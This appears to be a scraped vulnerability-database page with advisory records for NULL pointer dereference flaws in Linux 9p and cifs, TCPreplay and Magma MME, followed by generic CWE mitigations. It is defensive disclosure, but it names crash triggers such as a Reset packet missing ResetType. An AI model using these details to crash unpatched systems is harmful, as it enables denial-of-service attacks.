"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/9p: fix NULL pointer dereference on mkdir\n\nWhen a 9p tree was mounted with option \u0027posixacl\u0027, parent directory had a\ndefault ACL set for its subdirectories, e.g.:\n\n setfacl -m default:group:simpsons:rwx parentdir\n\nthen creating a subdirectory crashed 9p client, as v9fs_fid_add() call in\nfunction v9fs_vfs_mkdir_dotl() sets the passed \u0027fid\u0027 pointer to NULL\n(since dafbe689736) even though the subsequent v9fs_set_create_acl() call\nexpects a valid non-NULL \u0027fid\u0027 pointer:\n\n [ 37.273191] BUG: kernel NULL pointer dereference, address: 0000000000000000\n ...\n [ 37.322338] Call Trace:\n [ 37.323043] \u003cTASK\u003e\n [ 37.323621] ? __die (arch/x86/kernel/dumpstack.c:421 arch/x86/kernel/dumpstack.c:434)\n [ 37.324448] ? page_fault_oops (arch/x86/mm/fault.c:714)\n [ 37.325532] ? search_module_extables (kernel/module/main.c:3733)\n [ 37.326742] ? p9_client_walk (net/9p/client.c:1165) 9pnet\n [ 37.328006] ? search_bpf_extables (kernel/bpf/core.c:804)\n [ 37.329142] ? exc_page_fault (./arch/x86/include/asm/paravirt.h:686 arch/x86/mm/fault.c:1488 arch/x86/mm/fault.c:1538)\n [ 37.330196] ? asm_exc_page_fault (./arch/x86/include/asm/idtentry.h:574)\n [ 37.331330] ? p9_client_walk (net/9p/client.c:1165) 9pnet\n [ 37.332562] ? v9fs_fid_xattr_get (fs/9p/xattr.c:30) 9p\n [ 37.333824] v9fs_fid_xattr_set (fs/9p/fid.h:23 fs/9p/xattr.c:121) 9p\n [ 37.335077] v9fs_set_acl (fs/9p/acl.c:276) 9p\n [ 37.336112] v9fs_set_create_acl (fs/9p/acl.c:307) 9p\n [ 37.337326] v9fs_vfs_mkdir_dotl (fs/9p/vfs_inode_dotl.c:411) 9p\n [ 37.338590] vfs_mkdir (fs/namei.c:4313)\n [ 37.339535] do_mkdirat (fs/namei.c:4336)\n [ 37.340465] __x64_sys_mkdir (fs/namei.c:4354)\n [ 37.341455] do_syscall_64 (arch/x86/entry/common.c:52 arch/x86/entry/common.c:83)\n [ 37.342447] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n\nFix this by simply swapping the sequence of these two calls in\nv9fs_vfs_mkdir_dotl(), i.e. calling v9fs_set_create_acl() before\nv9fs_fid_add().",
"id": "GHSA-jprx-mprp-6qvx",
"modified": "2025-05-06T18:30:36Z",
"published": "2025-04-16T15:34:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22070"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/2139dea5c53e3bb63ac49a6901c85e525a80ee8a"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/3f61ac7c65bdb26accb52f9db66313597e759821"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/6517b395cb1e43fbf3962dd93e6fb4a5e5ab100e"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/8522051c58d68146b93e8a5ba9987e83b3d64e7b"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JPVG-R3Q7-3W8J
Vulnerability from github – Published: 2025-09-15 15:31 – Updated: 2025-12-03 21:31In the Linux kernel, the following vulnerability has been resolved:
cifs: fix DFS traversal oops without CONFIG_CIFS_DFS_UPCALL
When compiled with CONFIG_CIFS_DFS_UPCALL disabled, cifs_dfs_d_automount is NULL. cifs.ko logic for mapping CIFS_FATTR_DFS_REFERRAL attributes to S_AUTOMOUNT and corresponding dentry flags is retained regardless of CONFIG_CIFS_DFS_UPCALL, leading to a NULL pointer dereference in VFS follow_automount() when traversing a DFS referral link: BUG: kernel NULL pointer dereference, address: 0000000000000000 ... Call Trace: __traverse_mounts+0xb5/0x220 ? cifs_revalidate_mapping+0x65/0xc0 [cifs] step_into+0x195/0x610 ? lookup_fast+0xe2/0xf0 path_lookupat+0x64/0x140 filename_lookup+0xc2/0x140 ? __create_object+0x299/0x380 ? kmem_cache_alloc+0x119/0x220 ? user_path_at_empty+0x31/0x50 user_path_at_empty+0x31/0x50 __x64_sys_chdir+0x2a/0xd0 ? exit_to_user_mode_prepare+0xca/0x100 do_syscall_64+0x42/0x90 entry_SYSCALL_64_after_hwframe+0x72/0xdc
This fix adds an inline cifs_dfs_d_automount() {return -EREMOTE} handler when CONFIG_CIFS_DFS_UPCALL is disabled. An alternative would be to avoid flagging S_AUTOMOUNT, etc. without CONFIG_CIFS_DFS_UPCALL. This approach was chosen as it provides more control over the error path.
{
"affected": [],
"aliases": [
"CVE-2023-53246"
],
"database_specific": {
"cwe_ids": [
"CWE-476"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-15T15:15:51Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\ncifs: fix DFS traversal oops without CONFIG_CIFS_DFS_UPCALL\n\nWhen compiled with CONFIG_CIFS_DFS_UPCALL disabled, cifs_dfs_d_automount\nis NULL. cifs.ko logic for mapping CIFS_FATTR_DFS_REFERRAL attributes to\nS_AUTOMOUNT and corresponding dentry flags is retained regardless of\nCONFIG_CIFS_DFS_UPCALL, leading to a NULL pointer dereference in\nVFS follow_automount() when traversing a DFS referral link:\n BUG: kernel NULL pointer dereference, address: 0000000000000000\n ...\n Call Trace:\n \u003cTASK\u003e\n __traverse_mounts+0xb5/0x220\n ? cifs_revalidate_mapping+0x65/0xc0 [cifs]\n step_into+0x195/0x610\n ? lookup_fast+0xe2/0xf0\n path_lookupat+0x64/0x140\n filename_lookup+0xc2/0x140\n ? __create_object+0x299/0x380\n ? kmem_cache_alloc+0x119/0x220\n ? user_path_at_empty+0x31/0x50\n user_path_at_empty+0x31/0x50\n __x64_sys_chdir+0x2a/0xd0\n ? exit_to_user_mode_prepare+0xca/0x100\n do_syscall_64+0x42/0x90\n entry_SYSCALL_64_after_hwframe+0x72/0xdc\n\nThis fix adds an inline cifs_dfs_d_automount() {return -EREMOTE} handler\nwhen CONFIG_CIFS_DFS_UPCALL is disabled. An alternative would be to\navoid flagging S_AUTOMOUNT, etc. without CONFIG_CIFS_DFS_UPCALL. This\napproach was chosen as it provides more control over the error path.",
"id": "GHSA-jpvg-r3q7-3w8j",
"modified": "2025-12-03T21:31:00Z",
"published": "2025-09-15T15:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53246"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/179a88a8558bbf42991d361595281f3e45d7edfc"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/1e144b68208e98fd4602c842a7149ba5f41d87fb"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/26a32a212bc540f4773cd6af8cf73e967d72569c"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/657d7c215ca974d366ab1808213f716e1e3aa950"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/8afb1fabcec1929db46977e84baeee0cc0e79242"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/8cd7dbc9c46d51e00a0a8372e07cc1cbb8d24a77"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/b64305185b76f1d5145ce594ff48f3f0e70695bd"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/b7d854c33ab48e55fc233699bbefe39ec9bb5c05"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JPVJ-J5PH-XP9W
Vulnerability from github – Published: 2023-03-16 15:30 – Updated: 2025-02-26 21:30An issue found in TCPreplay TCPprep v.4.4.3 allows a remote attacker to cause a denial of service via the parse endpoints function.
{
"affected": [],
"aliases": [
"CVE-2023-27785"
],
"database_specific": {
"cwe_ids": [
"CWE-476"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-16T15:15:00Z",
"severity": "HIGH"
},
"details": "An issue found in TCPreplay TCPprep v.4.4.3 allows a remote attacker to cause a denial of service via the parse endpoints function.",
"id": "GHSA-jpvj-j5ph-xp9w",
"modified": "2025-02-26T21:30:25Z",
"published": "2023-03-16T15:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27785"
},
{
"type": "WEB",
"url": "https://github.com/appneta/tcpreplay/issues/785"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/R3ER3YTFR3XIDMYEB7LMFWFTPVQALBHC"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/UE3J4LKYFNKPKNSLDQK4JG36THQMQH3V"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/UK2BRH3W3ECF5FDXP6QM3ZEDTHIOE4M5"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/R3ER3YTFR3XIDMYEB7LMFWFTPVQALBHC"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UE3J4LKYFNKPKNSLDQK4JG36THQMQH3V"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UK2BRH3W3ECF5FDXP6QM3ZEDTHIOE4M5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JPWC-C28P-36CC
Vulnerability from github – Published: 2025-01-22 00:33 – Updated: 2025-01-23 18:31A Null pointer dereference vulnerability in the Mobile Management Entity (MME) in Magma <= 1.8.0 (fixed in v1.9 commit 08472ba98b8321f802e95f5622fa90fec2dea486) allows network-adjacent attackers to crash the MME via an S1AP Reset packet missing an expected ResetType field.
{
"affected": [],
"aliases": [
"CVE-2023-37025"
],
"database_specific": {
"cwe_ids": [
"CWE-476"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-21T23:15:09Z",
"severity": "MODERATE"
},
"details": "A Null pointer dereference vulnerability in the Mobile Management Entity (MME) in Magma \u003c= 1.8.0 (fixed in v1.9 commit 08472ba98b8321f802e95f5622fa90fec2dea486) allows network-adjacent attackers to crash the MME via an S1AP `Reset` packet missing an expected `ResetType` field.",
"id": "GHSA-jpwc-c28p-36cc",
"modified": "2025-01-23T18:31:18Z",
"published": "2025-01-22T00:33:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37025"
},
{
"type": "WEB",
"url": "https://cellularsecurity.org/ransacked"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-56
For any pointers that could have been modified or provided from a function that can return NULL, check the pointer for NULL before use. When working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the check, and unlock when it has finished [REF-1484].
Mitigation
Select a programming language that is not susceptible to these issues.
Mitigation
Check the results of all functions that return a value and verify that the value is non-null before acting upon it.
Mitigation
Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.
Mitigation
Explicitly initialize all variables and other data stores, either during declaration or just before the first usage.
No CAPEC attack patterns related to this CWE.